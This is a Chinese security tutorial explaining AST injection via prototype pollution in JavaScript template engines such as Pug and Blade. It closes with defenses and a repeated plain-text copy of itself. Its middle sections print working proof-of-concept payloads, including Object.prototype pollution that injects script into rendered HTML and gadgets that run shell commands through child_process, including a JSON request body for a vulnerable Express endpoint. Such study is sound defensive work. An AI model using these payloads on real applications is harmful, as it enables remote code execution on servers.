一文带你理解AST Injection
字数 857 2025-08-05 11:39:48

AST Injection 攻击原理与实战分析

模版引擎基础

模版引擎概述

JS web开发中常用的模版引擎包括:

  • ejs
  • pug
  • handlebars

功能:动态渲染HTML代码,创建可重复使用的页面结构

主流模版引擎使用示例

ejs 模版

// 安装EJS模块:npm install ejs
const ejs = require('ejs');

// 定义模板
const template = `<h1>Hello, <%= name %>!</h1>`;

// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);

handlebars 模版

// 安装Handlebars模块:npm install handlebars
const handlebars = require('handlebars');

// 定义模板
const template = `<h1>Hello, {{name}}!</h1>`;

// 编译模板
const compiledTemplate = handlebars.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);

pug 模版

// 安装Pug模块:npm install pug
const pug = require('pug');

// 定义模板
const template = `h1 Hello, #{name}!`;

// 编译模板
const compiledTemplate = pug.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);

模版引擎工作原理

基本流程:

  1. 词法解析
  2. 语法解析
  3. 代码生成

关键问题:

  • 赋值操作未判断属性是否为对象自身属性
  • 属性存在判断未检查原型链
  • for...in循环会遍历原型链上的可枚举属性

AST Injection 攻击原理

基本概念

AST (Abstract Syntax Tree) 注入攻击通过污染原型链来修改模版引擎生成的抽象语法树,从而影响最终生成的代码。

Pug 模版 AST Injection 示例

const pug = require('pug');

// 原型链污染
Object.prototype.block = {
  "type":"Text",
  "val":`<script>alert(origin)</script>`
};

const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

Pug AST 结构分析

解析 h1= msg 生成的语法树结构:

{
  "type":"Block",
  "nodes":[
    {
      "type":"Tag",
      "name":"h1",
      "block":{
        "type":"Block",
        "nodes":[
          {
            "type":"Code",
            "val":"msg",
            "buffer":true,
            "mustEscape":true,
            "isInline":true
          }
        ]
      }
    }
  ]
}

语法树执行流程

  1. 解析 Block 节点
  2. 解析 Tag 节点
  3. 解析内部 Block 节点
  4. 解析 Code 节点

关键代码片段:

case 'Code':
case 'While':
  if (ast.block) { // 检查block属性
    ast.block = walkAST(ast.block, before, after, options);
  }

RCE (远程代码执行) 实现

利用 Pug 的代码生成功能实现 RCE:

const pug = require('pug');

Object.prototype.block = {
  "type":"Text",
  "line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`
};

const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);

实战案例分析

Express 应用漏洞示例

漏洞代码:

router.post('/api/submit', (req, res) => {
  const { song } = unflatten(req.body);
  
  if (song.name.includes('Not Polluting with the boys') || ... ) {
    return res.json({
      'response': pug.compile('span Hello #{user}, thank you!')({ user:'guest' })
    });
  }
});

攻击步骤:

  1. 利用 unflatten 的原型链污染漏洞
  2. 注入恶意 AST 节点

攻击载荷:

{
  "song.name": "The Goose went wild", 
  "__proto__.block": {
    "type":"Text",
    "line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"
  }
}

Blade 模版引擎漏洞分析

漏洞发现过程

  1. 原型链污染测试:
Object.prototype.otherprop = {'test': 'test'};
  1. 观察 AST 结构变化,发现 undefined 属性注入

  2. 关键漏洞代码:

for(var i in attrs) {
  if(attrs[i].text) {
    // 处理逻辑
  }
}

RCE 实现

攻击载荷:

Object.prototype.someprop = {
  'name': 'somename',
  'value': 'somevalue',
  'code': "process.mainModule.require('child_process').execSync(`whoami`)"
};

防御措施

  1. 避免使用不安全的对象属性操作:

    • 使用 Object.hasOwnProperty() 检查属性
    • 使用 Object.keys() 替代 for...in
  2. 冻结原型对象:

    Object.freeze(Object.prototype);
    
  3. 使用安全的模版引擎配置

  4. 及时更新模版引擎到最新版本

总结

AST Injection 攻击结合原型链污染漏洞,能够严重影响模版引擎的安全性。开发者需要理解模版引擎的工作原理,并采取适当的安全措施来防范此类攻击。

AST Injection 攻击原理与实战分析 模版引擎基础 模版引擎概述 JS web开发中常用的模版引擎包括: ejs pug handlebars 功能:动态渲染HTML代码,创建可重复使用的页面结构 主流模版引擎使用示例 ejs 模版 handlebars 模版 pug 模版 模版引擎工作原理 基本流程: 词法解析 语法解析 代码生成 关键问题: 赋值操作未判断属性是否为对象自身属性 属性存在判断未检查原型链 for...in 循环会遍历原型链上的可枚举属性 AST Injection 攻击原理 基本概念 AST (Abstract Syntax Tree) 注入攻击通过污染原型链来修改模版引擎生成的抽象语法树,从而影响最终生成的代码。 Pug 模版 AST Injection 示例 Pug AST 结构分析 解析 h1= msg 生成的语法树结构: 语法树执行流程 解析 Block 节点 解析 Tag 节点 解析内部 Block 节点 解析 Code 节点 关键代码片段: RCE (远程代码执行) 实现 利用 Pug 的代码生成功能实现 RCE: 实战案例分析 Express 应用漏洞示例 漏洞代码: 攻击步骤: 利用 unflatten 的原型链污染漏洞 注入恶意 AST 节点 攻击载荷: Blade 模版引擎漏洞分析 漏洞发现过程 原型链污染测试: 观察 AST 结构变化,发现 undefined 属性注入 关键漏洞代码: RCE 实现 攻击载荷: 防御措施 避免使用不安全的对象属性操作: 使用 Object.hasOwnProperty() 检查属性 使用 Object.keys() 替代 for...in 冻结原型对象: 使用安全的模版引擎配置 及时更新模版引擎到最新版本 总结 AST Injection 攻击结合原型链污染漏洞,能够严重影响模版引擎的安全性。开发者需要理解模版引擎的工作原理,并采取适当的安全措施来防范此类攻击。